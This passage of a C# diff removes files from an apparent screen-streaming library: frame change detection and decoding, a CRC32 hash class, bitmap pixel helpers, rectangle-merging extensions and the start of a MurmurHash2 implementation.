private unsafe List<Rectangle> ProcessChanges(IntPtr Scan0, Rectangle OutputRect, PixelFormat Format, int ImageWidth)
|
||||
{
|
||||
if (EncodeBuffer == null)
|
||||
{
|
||||
this.BlockWidth = (int)Math.Floor((float)(OutputRect.Width / CheckBlock.Width));
|
||||
this.BlockHeight = (int)Math.Floor((double)(OutputRect.Height / CheckBlock.Height));
|
||||
int TotalBlocks = (int)Math.Floor((float)(BlockHeight * BlockWidth));
|
||||
this.EncodeBuffer = new ulong[TotalBlocks];
|
||||
}
|
||||
|
||||
List<Rectangle> points = new List<Rectangle>();
|
||||
int StartScan = Scan0.ToInt32();
|
||||
|
||||
for (int y = OutputRect.Y; y < OutputRect.Height + OutputRect.Y; y += CheckBlock.Height)
|
||||
{
|
||||
if (y + CheckBlock.Height > OutputRect.Height)
|
||||
break;
|
||||
|
||||
for (int x = OutputRect.X; x < OutputRect.Width + OutputRect.X; x += CheckBlock.Width)
|
||||
{
|
||||
if (x + CheckBlock.Width > OutputRect.Width)
|
||||
break;
|
||||
|
||||
int EncodeOffset = GetOffset(x, y);
|
||||
long offset = FastBitmap.CalcImageOffset(x, y, Format, ImageWidth);
|
||||
ulong* ScanPtr = (ulong*)(StartScan + offset);
|
||||
|
||||
if (EncodeBuffer[EncodeOffset] != *ScanPtr)
|
||||
{
|
||||
EncodeBuffer[EncodeOffset] = *ScanPtr;
|
||||
|
||||
Rectangle cBlock = new Rectangle(x, y, CheckBlock.Width, CheckBlock.Height);
|
||||
int index = points.Count - 1;
|
||||
if (points.Count > 0 && (points[index].X + points[index].Width) == cBlock.X)
|
||||
{
|
||||
Rectangle rect = points[index];
|
||||
int newWidth = cBlock.Width + rect.Width;
|
||||
cBlock = new Rectangle(rect.X, rect.Y, newWidth, rect.Height);
|
||||
points[index] = cBlock;
|
||||
}
|
||||
else
|
||||
{
|
||||
points.Add(cBlock);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return points;
|
||||
}
|
||||
|
||||
private Point GetOffsetPoint(int x, int y)
|
||||
{
|
||||
return new Point((int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth,
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width)));
|
||||
}
|
||||
|
||||
private int GetOffset(int x, int y)
|
||||
{
|
||||
return (int)Math.Floor((float)(y / CheckBlock.Height)) * BlockWidth +
|
||||
(int)Math.Floor((double)(x / CheckBlock.Width));
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(System.IO.Stream inStream)
|
||||
{
|
||||
byte[] temp = new byte[4];
|
||||
inStream.Read(temp, 0, 4);
|
||||
int DataSize = BitConverter.ToInt32(temp, 0);
|
||||
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
temp = new byte[DataSize];
|
||||
inStream.Read(temp, 0, temp.Length);
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
List<Rectangle> updates = new List<Rectangle>();
|
||||
Rectangle rect;
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
Bitmap tmp;
|
||||
byte[] buffer = null;
|
||||
MemoryStream m;
|
||||
|
||||
while (DataSize > 0)
|
||||
{
|
||||
byte[] tempData = new byte[4 * 5];
|
||||
inStream.Read(tempData, 0, tempData.Length);
|
||||
|
||||
rect = new Rectangle(BitConverter.ToInt32(tempData, 0), BitConverter.ToInt32(tempData, 4),
|
||||
BitConverter.ToInt32(tempData, 8), BitConverter.ToInt32(tempData, 12));
|
||||
int UpdateLen = BitConverter.ToInt32(tempData, 16);
|
||||
buffer = new byte[UpdateLen];
|
||||
inStream.Read(buffer, 0, buffer.Length);
|
||||
|
||||
if (onDecodeDebugScan != null)
|
||||
onDecodeDebugScan(rect);
|
||||
|
||||
m = new MemoryStream(buffer);
|
||||
tmp = (Bitmap)Image.FromStream(m);
|
||||
g.DrawImage(tmp, rect.Location);
|
||||
tmp.Dispose();
|
||||
|
||||
m.Close();
|
||||
m.Dispose();
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
public override unsafe System.Drawing.Bitmap DecodeData(IntPtr CodecBuffer, uint Length)
|
||||
{
|
||||
if (Length < 4)
|
||||
return decodedBitmap;
|
||||
|
||||
int DataSize = *(int*)(CodecBuffer);
|
||||
if (decodedBitmap == null)
|
||||
{
|
||||
byte[] temp = new byte[DataSize];
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + 4), (uint)DataSize);
|
||||
}
|
||||
|
||||
this.decodedBitmap = (Bitmap)Bitmap.FromStream(new MemoryStream(temp));
|
||||
return decodedBitmap;
|
||||
}
|
||||
|
||||
byte* bufferPtr = (byte*)CodecBuffer.ToInt32();
|
||||
if (DataSize > 0)
|
||||
{
|
||||
Graphics g = Graphics.FromImage(decodedBitmap);
|
||||
for (int i = 4; DataSize > 0; )
|
||||
{
|
||||
Rectangle rect = new Rectangle(*(int*)(bufferPtr + i), *(int*)(bufferPtr + i + 4),
|
||||
*(int*)(bufferPtr + i + 8), *(int*)(bufferPtr + i + 12));
|
||||
int UpdateLen = *(int*)(bufferPtr + i + 16);
|
||||
byte[] temp = new byte[UpdateLen];
|
||||
|
||||
fixed (byte* tempPtr = temp)
|
||||
{
|
||||
NativeMethods.memcpy(new IntPtr(tempPtr), new IntPtr(CodecBuffer.ToInt32() + i + 20), (uint)UpdateLen);
|
||||
using (Bitmap TmpBmp = new Bitmap(rect.Width, rect.Height, rect.Width * 3, decodedBitmap.PixelFormat, new IntPtr(tempPtr)))
|
||||
{
|
||||
g.DrawImage(TmpBmp, new Point(rect.X, rect.Y));
|
||||
}
|
||||
}
|
||||
DataSize -= UpdateLen + (4 * 5);
|
||||
i += UpdateLen + (4 * 5);
|
||||
}
|
||||
g.Dispose();
|
||||
}
|
||||
return decodedBitmap;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,186 +0,0 @@
|
||||
// Tamir Khason http://khason.net/
|
||||
//
|
||||
// Released under MS-PL : 6-Apr-09
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
using System.Security.Cryptography;
|
||||
using System.Collections;
|
||||
using System.IO;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
/// <summary>Implements a 32-bits cyclic redundancy check (CRC) hash algorithm.</summary>
|
||||
/// <remarks>This class is not intended to be used for security purposes. For security applications use MD5, SHA1, SHA256, SHA384,
|
||||
/// or SHA512 in the System.Security.Cryptography namespace.</remarks>
|
||||
public class CRC32 : HashAlgorithm
|
||||
{
|
||||
#region CONSTRUCTORS
|
||||
/// <summary>Creates a CRC32 object using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public CRC32()
|
||||
: this(DefaultPolynomial)
|
||||
{
|
||||
}
|
||||
|
||||
/// <summary>Creates a CRC32 object using the specified polynomial.</summary>
|
||||
/// <remarks>The polynomical should be supplied in its bit-reflected form. <see cref="DefaultPolynomial"/>.</remarks>
|
||||
public CRC32(uint polynomial)
|
||||
{
|
||||
HashSizeValue = 32;
|
||||
_crc32Table = (uint[])_crc32TablesCache[polynomial];
|
||||
if (_crc32Table == null)
|
||||
{
|
||||
_crc32Table = CRC32._buildCRC32Table(polynomial);
|
||||
_crc32TablesCache.Add(polynomial, _crc32Table);
|
||||
}
|
||||
Initialize();
|
||||
}
|
||||
|
||||
// static constructor
|
||||
static CRC32()
|
||||
{
|
||||
_crc32TablesCache = Hashtable.Synchronized(new Hashtable());
|
||||
_defaultCRC = new CRC32();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PROPERTIES
|
||||
/// <summary>Gets the default polynomial (used in WinZip, Ethernet, etc.)</summary>
|
||||
/// <remarks>The default polynomial is a bit-reflected version of the standard polynomial 0x04C11DB7 used by WinZip, Ethernet, etc.</remarks>
|
||||
public static readonly uint DefaultPolynomial = 0xEDB88320; // Bitwise reflection of 0x04C11DB7;
|
||||
#endregion
|
||||
|
||||
#region METHODS
|
||||
/// <summary>Initializes an implementation of HashAlgorithm.</summary>
|
||||
public override void Initialize()
|
||||
{
|
||||
_crc = _allOnes;
|
||||
}
|
||||
|
||||
/// <summary>Routes data written to the object into the hash algorithm for computing the hash.</summary>
|
||||
protected override void HashCore(byte[] buffer, int offset, int count)
|
||||
{
|
||||
for (int i = offset; i < count; i++)
|
||||
{
|
||||
ulong ptr = (_crc & 0xFF) ^ buffer[i];
|
||||
_crc >>= 8;
|
||||
_crc ^= _crc32Table[ptr];
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary>Finalizes the hash computation after the last data is processed by the cryptographic stream object.</summary>
|
||||
protected override byte[] HashFinal()
|
||||
{
|
||||
byte[] finalHash = new byte[4];
|
||||
ulong finalCRC = _crc ^ _allOnes;
|
||||
|
||||
finalHash[0] = (byte)((finalCRC >> 0) & 0xFF);
|
||||
finalHash[1] = (byte)((finalCRC >> 8) & 0xFF);
|
||||
finalHash[2] = (byte)((finalCRC >> 16) & 0xFF);
|
||||
finalHash[3] = (byte)((finalCRC >> 24) & 0xFF);
|
||||
|
||||
return finalHash;
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given ASCII string using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(string asciiString)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(asciiString));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the given input stream using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(Stream inputStream)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(inputStream));
|
||||
}
|
||||
|
||||
/// <summary>Computes the CRC32 value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data using the <see cref="DefaultPolynomial"/>.</summary>
|
||||
public static int Compute(byte[] buffer, int offset, int count)
|
||||
{
|
||||
_defaultCRC.Initialize();
|
||||
return ToInt32(_defaultCRC.ComputeHash(buffer, offset, count));
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given ASCII string.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
public byte[] ComputeHash(string asciiString)
|
||||
{
|
||||
byte[] rawBytes = ASCIIEncoding.ASCII.GetBytes(asciiString);
|
||||
return ComputeHash(rawBytes);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the given input stream.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(Stream inputStream)
|
||||
{
|
||||
byte[] buffer = new byte[4096];
|
||||
int bytesRead;
|
||||
while ((bytesRead = inputStream.Read(buffer, 0, 4096)) > 0)
|
||||
{
|
||||
HashCore(buffer, 0, bytesRead);
|
||||
}
|
||||
return HashFinal();
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer)
|
||||
{
|
||||
return ComputeHash(buffer, 0, buffer.Length);
|
||||
}
|
||||
|
||||
/// <summary>Computes the hash value for the input data.</summary>
|
||||
/// <remarks>The computation preserves the internal state between the calls, so it can be used for computation of a stream data.</remarks>
|
||||
new public byte[] ComputeHash(byte[] buffer, int offset, int count)
|
||||
{
|
||||
HashCore(buffer, offset, count);
|
||||
return HashFinal();
|
||||
}
|
||||
#endregion
|
||||
|
||||
#region PRIVATE SECTION
|
||||
private static uint _allOnes = 0xffffffff;
|
||||
private static CRC32 _defaultCRC;
|
||||
private static Hashtable _crc32TablesCache;
|
||||
private uint[] _crc32Table;
|
||||
private uint _crc;
|
||||
|
||||
// Builds a crc32 table given a polynomial
|
||||
private static uint[] _buildCRC32Table(uint polynomial)
|
||||
{
|
||||
uint crc;
|
||||
uint[] table = new uint[256];
|
||||
|
||||
// 256 values representing ASCII character codes.
|
||||
for (int i = 0; i < 256; i++)
|
||||
{
|
||||
crc = (uint)i;
|
||||
for (int j = 8; j > 0; j--)
|
||||
{
|
||||
if ((crc & 1) == 1)
|
||||
crc = (crc >> 1) ^ polynomial;
|
||||
else
|
||||
crc >>= 1;
|
||||
}
|
||||
table[i] = crc;
|
||||
}
|
||||
|
||||
return table;
|
||||
}
|
||||
|
||||
private static int ToInt32(byte[] buffer)
|
||||
{
|
||||
return BitConverter.ToInt32(buffer, 0);
|
||||
}
|
||||
#endregion
|
||||
}
|
||||
}
|
@ -1,12 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Text;
|
||||
|
||||
namespace System.Runtime.CompilerServices
|
||||
{
|
||||
[AttributeUsage(AttributeTargets.Method)]
|
||||
public sealed class ExtensionAttribute : Attribute
|
||||
{
|
||||
public ExtensionAttribute() { }
|
||||
}
|
||||
}
|
@ -1,59 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public static unsafe class Extensions
|
||||
{
|
||||
public static SortedList<int, SortedList<int, Rectangle>> RectanglesTo2D(this Rectangle[] rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> Rects = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
for (int i = 0; i < rects.Length; i++)
|
||||
{
|
||||
if (!Rects.ContainsKey(rects[i].Y))
|
||||
Rects.Add(rects[i].Y, new SortedList<int, Rectangle>());
|
||||
|
||||
if (!Rects[rects[i].Y].ContainsKey(rects[i].X))
|
||||
Rects[rects[i].Y].Add(rects[i].X, rects[i]);
|
||||
}
|
||||
return Rects;
|
||||
}
|
||||
|
||||
public static SortedList<int, SortedList<int, Rectangle>> Rectangle2DToRows(this SortedList<int, SortedList<int, Rectangle>> Rects)
|
||||
{
|
||||
SortedList<int, SortedList<int, Rectangle>> RectRows = new SortedList<int, SortedList<int, Rectangle>>();
|
||||
|
||||
for (int i = 0; i < Rects.Values.Count; i++)
|
||||
{
|
||||
if (!RectRows.ContainsKey(Rects.Values[i].Values[0].Y))
|
||||
{
|
||||
RectRows.Add(Rects.Values[i].Values[0].Y, new SortedList<int, Rectangle>());
|
||||
}
|
||||
if (!RectRows[Rects.Values[i].Values[0].Y].ContainsKey(Rects.Values[i].Values[0].X))
|
||||
{
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(Rects.Values[i].Values[0].X, Rects.Values[i].Values[0]);
|
||||
}
|
||||
|
||||
Rectangle EndRect = Rects.Values[i].Values[0];
|
||||
for (int x = 1; x < Rects.Values[i].Values.Count; x++)
|
||||
{
|
||||
Rectangle CurRect = Rects.Values[i].Values[x];
|
||||
Rectangle tmpRect = RectRows[EndRect.Y].Values[RectRows[EndRect.Y].Count - 1];
|
||||
if (tmpRect.IntersectsWith(new Rectangle(CurRect.X - 1, CurRect.Y, CurRect.Width, CurRect.Height)))
|
||||
{
|
||||
RectRows[EndRect.Y][tmpRect.X] = new Rectangle(tmpRect.X, tmpRect.Y, tmpRect.Width + EndRect.Width, tmpRect.Height);
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
}
|
||||
else
|
||||
{
|
||||
EndRect = Rects.Values[i].Values[x];
|
||||
RectRows[Rects.Values[i].Values[0].Y].Add(EndRect.X, EndRect);
|
||||
}
|
||||
}
|
||||
}
|
||||
return RectRows;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,353 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class FastBitmap
|
||||
{
|
||||
public Bitmap bitmap { get; set; }
|
||||
public BitmapData bitmapData { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
public PixelFormat format { get; private set; }
|
||||
public DateTime BitmapCreatedAt;
|
||||
public bool IsLocked { get; private set; }
|
||||
|
||||
public int Stride
|
||||
{
|
||||
get { return bitmapData.Stride; }
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap, PixelFormat format)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public FastBitmap(Bitmap bitmap)
|
||||
{
|
||||
this.format = bitmap.PixelFormat;
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
break;
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
|
||||
this.bitmap = bitmap;
|
||||
this.Width = this.bitmap.Width;
|
||||
this.Height = this.bitmap.Height;
|
||||
this.format = format;
|
||||
Lock();
|
||||
BitmapCreatedAt = DateTime.Now;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
byte A = position[3];
|
||||
byte R = position[2];
|
||||
byte G = position[1];
|
||||
byte B = position[0];
|
||||
return Color.FromArgb(A, R, G, B);
|
||||
}
|
||||
|
||||
public void SetPixel(int x, int y, Color color)
|
||||
{
|
||||
byte* position = (byte*)bitmapData.Scan0.ToPointer();
|
||||
position += CalcOffset(x, y);
|
||||
|
||||
position[3] = color.A;
|
||||
position[2] = color.R;
|
||||
position[1] = color.G;
|
||||
position[0] = color.B;
|
||||
}
|
||||
|
||||
public Color GetPixel(int x, int y, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
byte R = ImgData[offset];
|
||||
byte G = ImgData[offset + 1];
|
||||
byte B = ImgData[offset + 2];
|
||||
return Color.FromArgb(255, R, G, B);
|
||||
}
|
||||
return Color.FromArgb(255, 0, 0, 0);
|
||||
}
|
||||
public void SetPixel(int x, int y, Color color, byte[] ImgData)
|
||||
{
|
||||
long offset = CalcOffset(x, y) + 4;
|
||||
if (offset + 4 < ImgData.Length)
|
||||
{
|
||||
ImgData[offset] = color.R;
|
||||
ImgData[offset + 1] = color.G;
|
||||
ImgData[offset + 2] = color.B;
|
||||
ByteArrayToBitmap(ImgData);
|
||||
}
|
||||
}
|
||||
|
||||
public void DrawRectangle(Point begin, Point end, Color color)
|
||||
{
|
||||
for (int x = begin.X; x < end.X; x++)
|
||||
{
|
||||
for (int y = begin.Y; y < end.Y; y++)
|
||||
{
|
||||
SetPixel(x, y, color);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public Int64 CalcOffset(int x, int y)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * bitmapData.Stride) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * bitmapData.Stride) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * bitmapData.Stride) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * bitmapData.Stride) + (x * 8);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
public static int CalcImageOffset(int x, int y, PixelFormat format, int width)
|
||||
{
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
return (y * (width * 4)) + (x * 4);
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
return (y * (width * 3)) + (x * 3);
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
return (y * width) + x;
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
return (y * (width / 2)) + (x / 2);
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
return (y * (width * 8)) + (x * 8);
|
||||
default:
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
public void ScanPixelDuplicates(Point BeginPoint, ref Point EndPoint, ref Color RetColor)
|
||||
{
|
||||
Color curColor = GetPixel(BeginPoint.X, BeginPoint.Y);
|
||||
for (int x = BeginPoint.X; x < this.Width; x++)
|
||||
{
|
||||
Color prevColor = GetPixel(x, BeginPoint.Y);
|
||||
|
||||
if (curColor.R != prevColor.R ||
|
||||
curColor.G != prevColor.G ||
|
||||
curColor.B != prevColor.B)
|
||||
{
|
||||
EndPoint = new Point(x, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
return;
|
||||
}
|
||||
}
|
||||
|
||||
EndPoint = new Point(this.Width, BeginPoint.Y);
|
||||
RetColor = curColor;
|
||||
}
|
||||
|
||||
public void Unlock()
|
||||
{
|
||||
if (IsLocked)
|
||||
{
|
||||
bitmap.UnlockBits(bitmapData);
|
||||
IsLocked = false;
|
||||
}
|
||||
}
|
||||
public void Lock()
|
||||
{
|
||||
if (!IsLocked)
|
||||
{
|
||||
bitmapData = bitmap.LockBits(new Rectangle(0, 0, Width, Height), System.Drawing.Imaging.ImageLockMode.ReadWrite, format);
|
||||
IsLocked = true;
|
||||
}
|
||||
}
|
||||
|
||||
public byte[] ToByteArray()
|
||||
{
|
||||
int bytes = Math.Abs(bitmapData.Stride) * Height;
|
||||
byte[] rgbValues = new byte[bytes];
|
||||
System.Runtime.InteropServices.Marshal.Copy(new IntPtr(bitmapData.Scan0.ToInt32()), rgbValues, 0, bytes);
|
||||
return rgbValues;
|
||||
}
|
||||
|
||||
public void ByteArrayToBitmap(byte[] data)
|
||||
{
|
||||
System.Runtime.InteropServices.Marshal.Copy(data, 0, bitmapData.Scan0, data.Length);
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (bitmap != null)
|
||||
{
|
||||
try { bitmap.UnlockBits(bitmapData); }
|
||||
catch { }
|
||||
try { bitmap.Dispose(); }
|
||||
catch { }
|
||||
try
|
||||
{
|
||||
bitmap = null;
|
||||
bitmapData = null;
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points where to read from in a byte array </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[] GetBytePoints(Point beginPoint, Point endPoint, Size ImgSize, PixelFormat format)
|
||||
{
|
||||
List<ArrayOffset> offsets = new List<ArrayOffset>();
|
||||
|
||||
for (int y = beginPoint.Y; y < endPoint.Y; y++)
|
||||
{
|
||||
int BeginOffset = (int)FastBitmap.CalcImageOffset(beginPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (beginPoint.X * 4);
|
||||
int EndOffset = (int)FastBitmap.CalcImageOffset(endPoint.X, y, format, ImgSize.Width);//(y * ImgSize.Width * 4) + (endPoint.X * 4);
|
||||
|
||||
switch (format)
|
||||
{
|
||||
case PixelFormat.Format32bppArgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 4) >= (ImgSize.Width * ImgSize.Height) * 4)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 4), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format24bppRgb:
|
||||
case PixelFormat.Format32bppRgb:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 3) >= (ImgSize.Width * ImgSize.Height) * 3)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 3), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format8bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X)) >= (ImgSize.Width * ImgSize.Height))
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X)), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format4bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) / 2) >= (ImgSize.Width * ImgSize.Height) / 2)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) / 2), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
case PixelFormat.Format1bppIndexed:
|
||||
{
|
||||
if (EndOffset + ((endPoint.X - beginPoint.X) * 8) >= (ImgSize.Width * ImgSize.Height) * 8)
|
||||
break;
|
||||
offsets.Add(new ArrayOffset(BeginOffset, EndOffset, ((endPoint.X - beginPoint.X) * 8), beginPoint.X, y, (endPoint.X - beginPoint.X), 1));
|
||||
break;
|
||||
}
|
||||
default:
|
||||
{
|
||||
throw new NotSupportedException(format + " is not supported.");
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
return offsets.ToArray();
|
||||
}
|
||||
|
||||
/// <summary> Get the byte points in 2D </summary>
|
||||
/// <param name="beginPoint">The beginning of the X, Y</param>
|
||||
/// <param name="endPoint">The end of the X, Y</param>
|
||||
/// <param name="ImgSize">The size of the image</param>
|
||||
/// <param name="SlicePieces">Slice the byte points into pieces to get the byte points faster</param>
|
||||
public static ArrayOffset[,][] Get2DBytePoints(Point beginPoint, Point endPoint, Size ImgSize, int SlicePieces, PixelFormat format)
|
||||
{
|
||||
int Width = endPoint.X - beginPoint.X;
|
||||
int Height = endPoint.Y - beginPoint.Y;
|
||||
|
||||
float Wsize = ((float)Width / (float)SlicePieces);
|
||||
float Hsize = ((float)Height / (float)SlicePieces);
|
||||
|
||||
//+1 just to make sure we are not going outside the array
|
||||
if (Wsize - (int)Wsize > 0.0F) Wsize += 1.0F;
|
||||
if (Hsize - (int)Hsize > 0.0F) Hsize += 1.0F;
|
||||
|
||||
ArrayOffset[,][] ImageArrayOffsets = new ArrayOffset[(int)Hsize, (int)Wsize][];
|
||||
Point tmp = new Point(0, 0);
|
||||
for (int y = beginPoint.Y; y < Height; y += SlicePieces)
|
||||
{
|
||||
for (int x = beginPoint.X; x < Width; x += SlicePieces)
|
||||
{
|
||||
ImageArrayOffsets[tmp.Y, tmp.X] = FastBitmap.GetBytePoints(new Point(x, y), new Point(x + SlicePieces, y + SlicePieces), ImgSize, format);
|
||||
tmp.X++;
|
||||
}
|
||||
tmp.X = 0;
|
||||
tmp.Y++;
|
||||
}
|
||||
return ImageArrayOffsets;
|
||||
}
|
||||
}
|
||||
|
||||
public class ArrayOffset
|
||||
{
|
||||
public int BeginOffset { get; private set; }
|
||||
public int EndOffset { get; private set; }
|
||||
public int Stride { get; private set; }
|
||||
public int X { get; private set; }
|
||||
public int Y { get; private set; }
|
||||
public int Width { get; private set; }
|
||||
public int Height { get; private set; }
|
||||
|
||||
public ArrayOffset(int begin, int end, int Stride, int x, int y, int width, int height)
|
||||
{
|
||||
this.BeginOffset = begin;
|
||||
this.EndOffset = end;
|
||||
this.Stride = Stride;
|
||||
this.X = x;
|
||||
this.Y = y;
|
||||
this.Width = width;
|
||||
this.Height = height;
|
||||
}
|
||||
}
|
||||
}
|
@ -1,62 +0,0 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
|
||||
namespace StreamLibrary.src
|
||||
{
|
||||
public unsafe class MurmurHash2Unsafe
|
||||
{
|
||||
const UInt32 m = 0x5bd1e995;
|
||||
const Int32 r = 24;
|
||||
|
||||
public unsafe UInt32 Hash(Byte* data, int length)
|
||||
{
|
||||
if (length == 0)
|
||||
return 0;
|
||||
UInt32 h = 0xc58f1a7b ^ (UInt32)length;
|
||||
Int32 remainingBytes = length & 3; // mod 4
|
||||
Int32 numberOfLoops = length >> 2; // div 4
|
||||
UInt32* realData = (UInt32*)data;
|
||||
while (numberOfLoops != 0)
|
||||
{
|
||||
UInt32 k = *realData;
|
||||
k *= m;
|
||||
k ^= k >> r;
|
||||
k *= m;
|
||||
|
||||
h *= m;
|
||||
h ^= k;
|
||||
numberOfLoops--;
|
||||
realData++;
|
||||
}
|
||||
switch (remainingBytes)
|
||||
{
